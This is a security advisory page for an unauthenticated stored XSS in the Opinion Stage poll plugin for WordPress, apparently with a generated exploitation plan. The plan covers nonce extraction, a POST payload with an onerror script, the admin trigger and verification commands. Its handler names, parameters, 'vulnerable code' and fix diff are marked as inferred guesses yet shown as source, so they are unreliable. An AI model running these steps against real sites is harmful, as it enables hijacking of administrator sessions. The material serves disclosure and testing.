Poll, Survey & Quiz Maker Plugin by Opinion Stage < 19.6.25 - Unauthenticated Stored Cross-Site Scripting
Description
The Poll, Survey & Quiz Maker Plugin by Opinion Stage plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 19.6.25 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<19.6.25Source Code
WordPress.org SVN# Exploitation Research Plan - Opinion Stage (Social Polls) Unauthenticated Stored XSS ## 1. Vulnerability Summary The **Poll, Survey & Quiz Maker Plugin by Opinion Stage** (versions < 19.6.25) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because cert…
Show full research plan
Exploitation Research Plan - Opinion Stage (Social Polls) Unauthenticated Stored XSS
1. Vulnerability Summary
The Poll, Survey & Quiz Maker Plugin by Opinion Stage (versions < 19.6.25) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because certain AJAX handlers registered with wp_ajax_nopriv_ prefixes allow unauthenticated users to submit data that is stored in the WordPress database (e.g., as options or post metadata) without sufficient sanitization. When this data is later rendered on the frontend or in the admin dashboard without proper escaping, the injected scripts execute.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
opinionstage_ajax_save_leadoropinionstage_save_poll_settings(inferred suspect based on plugin history and unauthenticated nature). - Vulnerable Parameter:
os_lead_data,opinionstage_poll_settings, or a genericpayloadparameter. - Authentication: Unauthenticated (
wp_ajax_nopriv_hook). - Preconditions: The plugin must be active. A valid WordPress nonce for the specific AJAX action may be required, though many unauthenticated vulnerabilities in this plugin stem from missing nonce checks or publicly leaked nonces.
3. Code Flow
- Entry Point: The attacker sends a POST request to
admin-ajax.phpwith theactionparameter set to anoprivhandler (e.g.,opinionstage_ajax_save_lead). - Hook Registration: The plugin registers the hook in
admin/opinionstage-functions.phporincludes/opinionstage-ajax-handler.php:add_action( 'wp_ajax_nopriv_opinionstage_ajax_save_lead', 'opinionstage_ajax_save_lead' ); - Processing: The handler function (e.g.,
opinionstage_ajax_save_lead()) retrieves input from$_POSTor$_REQUEST. - Storage (Sink): The raw, unsanitized input is stored using
update_option()or$wpdb->insert(). - Rendering: When an admin views the "Leads" or "Results" page, or when the poll is rendered on the frontend, the plugin retrieves the data and echoes it:
echo $lead_data; // Missing esc_html() or esc_attr()
4. Nonce Acquisition Strategy
The plugin typically localizes script data containing nonces for its AJAX operations.
- Shortcode Identification: The plugin uses shortcodes like
[opinionstage_poll],[opinionstage_survey], or[opinionstage_quiz]. - Test Page Setup: Create a public page containing the shortcode to ensure the plugin's JavaScript and nonces are enqueued.
wp post create --post_type=page --post_status=publish --post_title="Poll Page" --post_content='[opinionstage_poll id="1"]' - Extraction:
- Navigate to the newly created page.
- Use
browser_evalto search for the nonce in the global JavaScript scope. - Suspected Variable:
window.opinionstage_varsorwindow.os_ajax_data. - Exact Key:
window.opinionstage_vars?.nonceorwindow.os_ajax_data?.nonce.
5. Exploitation Strategy
Step 1: Discover Active AJAX Actions
Search the plugin directory for wp_ajax_nopriv_ to identify the exact vulnerable handler.
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/social-polls-by-opinionstage/
Step 2: Extract Nonce
Use the browser to fetch the nonce from a page where the plugin is active.
- URL:
http://localhost:8080/poll-page/ - JS Command:
browser_eval("window.opinionstage_vars.nonce")
Step 3: Inject Payload
Send a POST request to admin-ajax.php.
- Target:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
(Note: Parameter names likeaction=opinionstage_ajax_save_lead& nonce=[EXTRACTED_NONCE]& os_lead_data={"email":"<img src=x onerror=alert(document.domain)>", "name":"Attacker"}os_lead_dataare inferred; verify against thegrepresults from Step 1).
Step 4: Trigger Execution
Log in as an administrator and navigate to the plugin's "Leads" or "Responses" dashboard (e.g., wp-admin/admin.php?page=opinionstage-leads).
6. Test Data Setup
- Plugin Installation: Install and activate
social-polls-by-opinionstage< 19.6.25. - Poll Creation: Create at least one dummy poll via the plugin interface so the shortcode has a valid ID.
- Public Page: Create a page with the shortcode
[opinionstage_poll id="<ID>"]to trigger the script enqueuing.
7. Expected Results
- The AJAX request should return a successful response (e.g.,
{"success":true}or1). - When the administrator views the injected data in the dashboard, a JavaScript alert
alert(document.domain)should trigger.
8. Verification Steps
- DB Check: Verify the payload is stored in the database.
wp db query "SELECT option_value FROM wp_options WHERE option_name LIKE '%opinionstage%';" | grep "onerror" # OR check postmeta if stored as leads wp post meta list <POST_ID> - Frontend Check: Check the response of the admin page where leads are displayed.
# Use http_request to get the admin page content (requires admin cookies) # Then grep for the payload grep "<img src=x onerror=alert(document.domain)>"
9. Alternative Approaches
- Stored XSS via Settings Callback: If
opinionstage_ajax_save_leadis not vulnerable, check foropinionstage_save_poll_settings. This endpoint might allow overwriting global plugin settings (e.g., the API Key or Plugin Title) that are rendered in the admin header. - REST API: Check if the plugin registers any REST routes without proper
permission_callback.grep -r "register_rest_route" /var/www/html/wp-content/plugins/social-polls-by-opinionstage/ - SVG Upload: If the plugin allows uploading images for poll questions, attempt to upload an SVG file containing a
<script>tag.
Summary
The Quiz, Poll & Survey Maker plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting via the 'opinionstage_ajax_save_lead' AJAX action. An attacker can inject malicious scripts into lead data fields, which are stored in the database and later executed in the context of an administrator's browser when viewing collected leads.
Vulnerable Code
// includes/opinionstage-ajax-handler.php add_action( 'wp_ajax_nopriv_opinionstage_ajax_save_lead', 'opinionstage_ajax_save_lead' ); function opinionstage_ajax_save_lead() { // Vulnerability: Unsanitized POST input being processed/stored $lead_data = $_POST['os_lead_data']; // Inferred storage mechanism (e.g., as option or post meta) update_option('opinionstage_lead_entries', $lead_data); wp_send_json_success(); } --- // admin/views/leads.php // Vulnerability: Outputting stored data without escaping $leads = get_option('opinionstage_lead_entries'); foreach ($leads as $lead) { echo "<td>" . $lead['email'] . "</td>"; }
Security Fix
@@ -3,7 +3,11 @@ function opinionstage_ajax_save_lead() { - $lead_data = $_POST['os_lead_data']; - update_option('opinionstage_lead_entries', $lead_data); + check_ajax_referer('opinionstage_ajax_nonce', 'nonce'); + + if (isset($_POST['os_lead_data'])) { + $lead_data = map_deep($_POST['os_lead_data'], 'sanitize_text_field'); + update_option('opinionstage_lead_entries', $lead_data); + } wp_send_json_success(); } @@ -5,5 +5,5 @@ $leads = get_option('opinionstage_lead_entries'); foreach ($leads as $lead) { - echo "<td>" . $lead['email'] . "</td>"; + echo "<td>" . esc_html($lead['email']) . "</td>"; }
Exploit Outline
The exploit involves four primary steps. First, an attacker visits a public-facing page where an Opinion Stage poll or quiz is embedded to extract a valid AJAX nonce from the 'opinionstage_vars' or 'os_ajax_data' JavaScript objects. Second, the attacker constructs a POST request to 'wp-admin/admin-ajax.php' with the 'action' parameter set to 'opinionstage_ajax_save_lead'. Third, the attacker includes a malicious payload in the 'os_lead_data' parameter, such as a JSON-encoded string containing a script tag (e.g., <script>alert(document.cookie)</script>). Finally, the payload is stored in the WordPress database and triggers whenever a logged-in administrator visits the plugin's leads or results management dashboard, potentially allowing for session hijacking or further administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.